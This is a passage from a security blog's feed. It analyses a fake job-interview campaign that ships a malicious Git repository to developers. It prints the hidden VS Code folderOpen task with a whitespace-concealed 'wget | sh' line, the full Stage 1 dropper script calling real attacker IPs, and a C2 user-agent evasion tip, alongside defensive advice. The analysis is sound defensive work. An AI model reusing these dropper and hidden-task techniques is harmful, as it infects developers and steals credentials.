&lt;li&gt;macOS&#x2F;Linux Payload: &lt;code&gt;http:&#x2F;&#x2F;45.59.160.200:1244&#x2F;clw1&#x2F;gxUsMe8&lt;&#x2F;code&gt; (Downloads mod.so)&lt;&#x2F;li&gt;
&lt;li&gt;Python Runtime: &lt;code&gt;http:&#x2F;&#x2F;45.59.163.50:1244&#x2F;pd2&lt;&#x2F;code&gt; (Downloads p2.zip)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Caution: Do not download these URLs. If you choose to, use a fully isolated environment with no access to your real credentials or network. These URLs may already be dead. They are documented here for attribution and research purposes only.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The Interception:&lt;&#x2F;strong&gt;
To safely capture these binaries without triggering execution, I utilized stripped wget commands directly within my isolated VM.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; --user-agent=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -qO mod.so&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;http:&#x2F;&#x2F;45.59.160.200:1244&#x2F;clw1&#x2F;gxUsMe8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: The --user-agent=&quot;&quot; flag was critical. The Node.js request library does not send a default user agent. Sending a standard Wget&#x2F;1.21 header would alert the C2 gatekeeper and result in a dropped connection.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;where-the-analysis-ends&quot;&gt;Where the Analysis Ends&lt;&#x2F;h3&gt;
&lt;p&gt;The compiled binaries intercepted from Command and Control (&lt;code&gt;mod.so&lt;&#x2F;code&gt;, &lt;code&gt;mod.pyd&lt;&#x2F;code&gt;, &lt;code&gt;p2.zip&lt;&#x2F;code&gt;) are beyond the scope of this analysis. Static analysis using &lt;code&gt;readelf&lt;&#x2F;code&gt; and &lt;code&gt;strings&lt;&#x2F;code&gt; confirms they are Cython-compiled Python extensions, but decompiling Cython binaries requires a different toolchain and deeper reverse engineering skill than this post covers. This is the current frontier of this investigation. A follow-up post will cover binary analysis once that skill is built.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;key-takeaways-mitigation&quot;&gt;Key Takeaways &amp;amp; Mitigation&lt;&#x2F;h2&gt;
&lt;p&gt;This campaign represents a highly mature threat model targeting the software engineering supply chain.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Attacker Tactics, Techniques, and Procedures:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Execution&lt;&#x2F;strong&gt;: Abuse of &lt;code&gt;.vscode&#x2F;tasks.json&lt;&#x2F;code&gt; for zero-click execution upon repository opening.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Defense Evasion&lt;&#x2F;strong&gt;: Utilization of IP-locked &lt;code&gt;JWT&lt;&#x2F;code&gt; delivery networks and dynamic XOR payload encryption.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Persistence&lt;&#x2F;strong&gt;: Detached background processes and portable runtime deployment.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Obfuscation&lt;&#x2F;strong&gt;: &lt;code&gt;Cython&lt;&#x2F;code&gt; compilation of the final Python payloads to prevent source code recovery.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Command and Control&lt;&#x2F;strong&gt;: A &lt;code&gt;ZT3&lt;&#x2F;code&gt; handshake protocol with operator-controlled kill switch. A registration beacon at &lt;code&gt;&#x2F;keys&lt;&#x2F;code&gt; providing real-time infection visibility to the operator before any data is collected.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Defense Recommendations:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Zero-Trust Repositories: Never open an untrusted repository directly in an IDE. Always audit &lt;code&gt;.vscode&lt;&#x2F;code&gt;, &lt;code&gt;.idea&lt;&#x2F;code&gt;, and package configuration files using a standard text editor.&lt;&#x2F;li&gt;
&lt;li&gt;EDR Tuning: Endpoint Detection and Response (EDR) agents should be strictly configured to flag and block IDE binaries (like code or webstorm) from unexpectedly spawning interactive shells or network utilities like &lt;code&gt;curl&lt;&#x2F;code&gt; and &lt;code&gt;wget&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;VS Code Workspace Trust&lt;&#x2F;strong&gt;: Set VS Code to default to Restricted Mode globally via &lt;code&gt;&quot;security.workspace.trust.enabled&quot;: true&lt;&#x2F;code&gt; in settings. Never click &quot;Trust&quot; on a repository received during a recruitment process. Legitimate companies do not require IDE trust prompts as part of technical assessments.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The Fake Interview Trap: How I Stopped Hackers from Deploying a Zero-Click Exploit</title>
        <published>2026-04-29T00:00:00+00:00</published>
        <updated>2026-04-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://roynrishingha.com/blog/interview-trojan-horse/"/>
        <id>https://roynrishingha.com/blog/interview-trojan-horse/</id>
        
        <content type="html" xml:base="https://roynrishingha.com/blog/interview-trojan-horse/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;&#x2F;h2&gt;
&lt;p&gt;The tech job market is undeniably brutal right now. Layoffs, ghosting, and hyper-competitive interview loops have created an environment where developers are eager to prove their skills and land an offer. Threat actors know this, and they have weaponized the technical interview process.&lt;&#x2F;p&gt;
&lt;p&gt;Recently, what started as a standard outreach message from an &quot;HR recruiter&quot; for a backend engineering role quickly devolved into one of the most sophisticated cyberattacks I’ve ever personally encountered. It wasn&#x27;t a phishing link or a fake login page. It was a highly targeted, multi-stage malware deployment mechanism disguised as a take-home coding challenge.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The TL;DR&lt;&#x2F;strong&gt;: I was given a &quot;Git merge assessment&quot; that was actually a Trojan horse. It was designed to execute a zero-click remote code payload on my machine, completely bypassing the terminal, simply by opening the project in a code editor.&lt;&#x2F;p&gt;
&lt;p&gt;Because I noticed a few bizarre inconsistencies in their instructions, I decided to sandbox the assessment in an air-gapped Debian virtual machine. That decision saved my personal credentials, my AWS keys, and my machine. Here is the full technical breakdown of how the trap was set, the red flags you need to look out for, and how I reverse-engineered their bash dropper.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;social-engineering-red-flags&quot;&gt;Social Engineering &amp;amp; Red Flags&lt;&#x2F;h2&gt;
&lt;p&gt;Every good cyberattack starts with social engineering. The initial hook needs to be plausible enough to lower your guard, but urgent enough to make you skip your standard security protocols.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The &quot;Opportunity&quot;&lt;&#x2F;strong&gt;
The attack began with a direct message from a recruiter claiming to represent a company called &quot;Trust-AI&quot;. After a brief chat about my background, they outlined their interview process. Before moving on to the standard system design and backend architecture rounds, they required me to pass a &quot;leadership workflow&quot; test.&lt;&#x2F;p&gt;
&lt;p&gt;Their scenario: &lt;em&gt;“You&#x27;re in charge of the main branch, and the members are off doing their thing on a new branch. You&#x27;ve gotta rebase or merge the new branch&#x27;s progress into main, ironing out those Git wrinkles along the way.”&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;They invited me to a private GitHub repository and provided a formal, one-page PDF outlining the assessment. I had exactly one hour to complete it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The Red Flags&lt;&#x2F;strong&gt;
Almost immediately, the framing felt entirely wrong.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;The &quot;Leadership&quot; Label: The recruiter repeatedly framed resolving a branch conflict as a test of &quot;leadership.&quot; Managing a branch is basic work. If a company legitimately views a basic git rebase as high-level leadership, their engineering culture is profoundly broken.&lt;&#x2F;li&gt;
&lt;li&gt;The Urgent &quot;UI Verification&quot;: The instruction document explicitly told me to &quot;verify the project appearance matches the provided screenshot&quot; and to &quot;troubleshoot a bug.&quot; Why would I need to run a local build and spin up a development server just to verify the authorship of a Git conflict?&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;the-editor-conflict&quot;&gt;The Editor Conflict&lt;&#x2F;h2&gt;
&lt;p&gt;The biggest red flag was a rigid constraint in their instructions: &lt;strong&gt;I was strictly mandated to open the project using VS Code&lt;&#x2F;strong&gt;. I am a terminal-native developer. My daily driver is &lt;strong&gt;Helix&lt;&#x2F;strong&gt;, a modal, terminal-based text editor. I handle all my version control, file editing, and conflict resolution directly from the command line.&lt;&#x2F;p&gt;
&lt;p&gt;In a legitimate technical assessment, a company cares about the output - a clean Git tree, functional code, and a solid PR. They do not care which text editor you use to get there. The fact that the instructions specifically required me to use VS Code meant that the editor itself was an integral part of the assessment.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-defensive-setup&quot;&gt;The Defensive Setup&lt;&#x2F;h2&gt;
&lt;p&gt;Because of the forced VS Code requirement and the suspicious push to &quot;verify the UI&quot; for a basic Git assessment, my guard was fully up. There was absolutely no way I was going to clone a closed-source, unverified repository directly onto my daily-driver host machine.&lt;&#x2F;p&gt;
&lt;p&gt;Instead, I implemented a strict zero-trust approach.&lt;&#x2F;p&gt;
&lt;p&gt;I spun up a fresh, isolated Debian virtual machine dedicated exclusively to this single task. If the repository contained malicious build scripts or exploit chains, the blast radius would be confined to a disposable container with no access to my local files, SSH keys, or network shares.&lt;&#x2F;p&gt;
&lt;p&gt;There was a catch: the repository was private. To clone it, I had to authenticate with my real GitHub account. If I copied my primary SSH key into the VM, and the VM was compromised, the attackers would gain full access to every repository I contribute to.&lt;&#x2F;p&gt;
&lt;p&gt;To mitigate this, I utilized GitHub&#x27;s Fine-grained Personal Access Tokens. I generated a temporary token scoped exclusively to their private repository with the bare minimum read&#x2F;write permissions required to clone and push. Even if the attackers stole this token, it would be entirely useless outside of their own repository.&lt;&#x2F;p&gt;
&lt;p&gt;With the VM secured and the scoped token in hand, I cloned the project and opened it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;auditing-the-workspace&quot;&gt;Auditing the Workspace&lt;&#x2F;h2&gt;
&lt;p&gt;After successfully cloning the repository into my isolated VM, I made a critical decision: I completely ignored their strict mandate to use VS Code.&lt;&#x2F;p&gt;
&lt;p&gt;Instead, I opened the project directory using my favourite editor Helix.&lt;&#x2F;p&gt;
&lt;p&gt;By sticking to my terminal-native workflow, I inadvertently neutralized their entire attack vector before it even began. Helix is a lightning-fast, modal text editor. It doesn&#x27;t automatically parse, trust, or execute workspace configuration files like &lt;code&gt;.vscode&lt;&#x2F;code&gt; or &lt;code&gt;.idea&lt;&#x2F;code&gt;. It just reads text.&lt;&#x2F;p&gt;
&lt;p&gt;But my curiosity was heavily piqued. Why was the recruiter so desperate for me to use VS Code? To find out, I navigated straight to the hidden &lt;code&gt;.vscode&lt;&#x2F;code&gt; directory and opened the &lt;code&gt;tasks.json&lt;&#x2F;code&gt; file in Helix to see what they were trying to force me to run.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The Distraction&lt;&#x2F;strong&gt;
At first glance, the &lt;code&gt;tasks.json&lt;&#x2F;code&gt; file looked incredibly professional. It was filled with hundreds of lines of complex JSON detailing a web3&#x2F;blockchain &quot;StakingGame&quot; application.&lt;&#x2F;p&gt;
&lt;p&gt;It included fabricated configuration blocks like &lt;code&gt;environmentProfiles&lt;&#x2F;code&gt;, &lt;code&gt;metaDiagnostics&lt;&#x2F;code&gt;, and &lt;code&gt;executionPolicies&lt;&#x2F;code&gt;. It listed &lt;code&gt;preRunChecks&lt;&#x2F;code&gt; requiring specific Node.js versions and Hardhat configurations.&lt;&#x2F;p&gt;
&lt;p&gt;This was pure psychological manipulation. The attacker packed the file with advanced-sounding jargon to overwhelm the target, making them think they were looking at a complex, enterprise-grade deployment script so they would stop reading and just get to work on the Git conflict.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The Trigger&lt;&#x2F;strong&gt;
But as I scrolled past the wall of fake blockchain configurations down to the actual executable &lt;code&gt;tasks&lt;&#x2F;code&gt; array, the true intent of the repository was sitting right there:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;.vscode&#x2F;tasks.json&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;runOptions&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;runOn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;folderOpen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This was the smoking gun.&lt;&#x2F;p&gt;
&lt;p&gt;By defining &lt;code&gt;&quot;runOn&quot;: &quot;folderOpen&quot;&lt;&#x2F;code&gt;, the attacker engineered a zero-click exploit trap. If I had followed the recruiter&#x27;s instructions, opened the project in VS Code, and clicked &quot;Yes, I trust the authors&quot; on the initial Workspace Trust prompt, VS Code would have immediately executed the hidden payload in the background.&lt;&#x2F;p&gt;
&lt;p&gt;I wouldn&#x27;t have had to open a terminal. I wouldn&#x27;t have had to run &lt;code&gt;npm install&lt;&#x2F;code&gt;. The mere act of opening the editor was the detonator.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-payload-capturing-the-stage-1-dropper&quot;&gt;The Payload: Capturing the Stage 1 Dropper&lt;&#x2F;h2&gt;
&lt;p&gt;I found the trigger. I looked at the specific execution commands mapped to the OS profiles in the JSON file. At first glance, the commands for Linux, Windows, and Mac looked completely empty.&lt;&#x2F;p&gt;
&lt;p&gt;I realized it was a classic obfuscation trick. They used a massive amount of horizontal whitespace. If you didn&#x27;t have word wrap enabled in your editor, the command was pushed so far to the right that it was completely hidden off-screen.&lt;&#x2F;p&gt;
&lt;p&gt;At the very end of the line, I found this dropper command for Linux:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;.vscode&#x2F;tasks.json&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;linux&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;wget -qO- &amp;#39;https:&#x2F;&#x2F;gurucooldown.short.gy&#x2F;gxUsMe8l&amp;#39; -L | sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;(you have to scroll horizontally to the right)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This is incredibly nasty. It silently downloads a file from a shortened URL and pipes it directly into the system shell. If I had used VS Code and trusted the workspace, this would have run instantly with my user permissions.&lt;&#x2F;p&gt;
&lt;p&gt;I wanted to see what that script actually did. Since I was safe inside my Debian VM, I manually downloaded it. Instead of letting it pipe to &lt;code&gt;sh&lt;&#x2F;code&gt;, I forced it to save as a harmless text file by running:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;wget -qO payload.txt &#x27;https:&#x2F;&#x2F;gurucooldown.short.gy&#x2F;gxUsMe8l&#x27;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;I opened the text file, and here is the exact bash script they were trying to run on my machine:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;#!&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Authenticated&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$HOME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;Documents&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;wget&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; -q -O&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;tokenlinux.npl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;http:&#x2F;&#x2F;165.140.86.190:3000&#x2F;task&#x2F;tokenlinux?token=40abc18736c9&amp;amp;st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTkuMTY3LjM4Iiwic2Vzc2lvbklkIjoiMzk1NjU5MTQtYzg3Zi00ZGUwLWE1MTUtNmQwMmJjYjYyOWY2Iiwic3RlcCI6MSwidGltZXN0YW1wIjoxNzc3NDU4ODUwNDgzLCJvcmlnVG9rZW4iOiI0MGFiYzE4NzM2YzkiLCJpYXQiOjE3Nzc0NTg4NTAsImV4cCI6MTc3NzQ1OTAzMH0.-TgaACMUSDLG67sxnGOUzUvLpUJIJaVZxJHMxRxjRMs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;mv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;tokenlinux.npl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;tokenlinux.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt; +x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;$TARGET_DIR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;&#x2F;tokenlinux.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;$&#x2F;&#x2F;&amp;#39; &amp;quot;$TARGET_DIR&#x2F;tokenlinux.sh&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;nohup bash &amp;quot;$TARGET_DIR&#x2F;tokenlinux.sh&amp;quot; &amp;gt; &#x2F;dev&#x2F;null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;clear&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;exit 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;deconstructing-the-malware&quot;&gt;Deconstructing the Malware&lt;&#x2F;h2&gt;
&lt;p&gt;It is a textbook Stage 1 dropper. Its only job is to be tiny, fetch the real malware from a remote server, execute it, and cover its tracks.&lt;&#x2F;p&gt;
&lt;p&gt;First, it uses &lt;code&gt;set -e&lt;&#x2F;code&gt; to make sure the script exits immediately if any command fails. This prevents it from throwing obvious error messages on the screen that might make a developer suspicious. It also prints &quot;Authenticated&quot; right at the start. That is a psychological trick. If you happened to see your terminal flash for a second, you would just assume a normal Git login process had just finished.&lt;&#x2F;p&gt;
&lt;p&gt;Then there are the &lt;code&gt;clear&lt;&#x2F;code&gt; commands. The attacker placed a &lt;code&gt;clear&lt;&#x2F;code&gt; between almost every single line of code. This is a crude but highly effective way to keep the terminal totally blank while the script works in the background.&lt;&#x2F;p&gt;
&lt;p&gt;Next, it downloads the Stage 2 payload from a hardcoded IP address (165.140.86.190) directly into my Documents folder. Notice how it saves the file as &lt;code&gt;tokenlinux.npl&lt;&#x2F;code&gt; first, and then renames it to &lt;code&gt;tokenlinux.sh&lt;&#x2F;code&gt;. The &lt;code&gt;.npl&lt;&#x2F;code&gt; extension is totally fake. Attackers do this to sneak the payload past basic network firewalls or antivirus software that automatically flag and block &lt;code&gt;.sh&lt;&#x2F;code&gt; file downloads.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, we get to the actual execution phase. It uses &lt;code&gt;nohup bash&lt;&#x2F;code&gt; combined with the &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; operator at the very end. This completely detaches the malware from the terminal session. Even if you close your editor or kill the visible terminal window, the script just keeps running in the background. It also pipes all output to &lt;code&gt;&#x2F;dev&#x2F;null 2&amp;gt;&amp;amp;1&lt;&#x2F;code&gt;, throwing any logs or system errors into a black hole so you never see them.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-sophistication&quot;&gt;The Sophistication&lt;&#x2F;h2&gt;
&lt;p&gt;The bash script itself was clever, but the real infrastructure was exposed in the download URL.&lt;&#x2F;p&gt;
&lt;p&gt;Look closely at the link they used to fetch the Stage 2 payload:
&lt;code&gt;http:&#x2F;&#x2F;165.140.86.190:3000&#x2F;task&#x2F;tokenlinux?token=...&amp;amp;st=eyJhbG...&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;That massive string of random looking characters at the end is a JSON Web Token. I decided to run it through a base64 decoder to see what kind of data the attacker was passing to their server.&lt;&#x2F;p&gt;
&lt;p&gt;Here is what the decoded payload looked like:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;::ffff:152.59.167.38&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;sessionId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;39565914-c87f-4de0-a515-6d02bcb629f6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
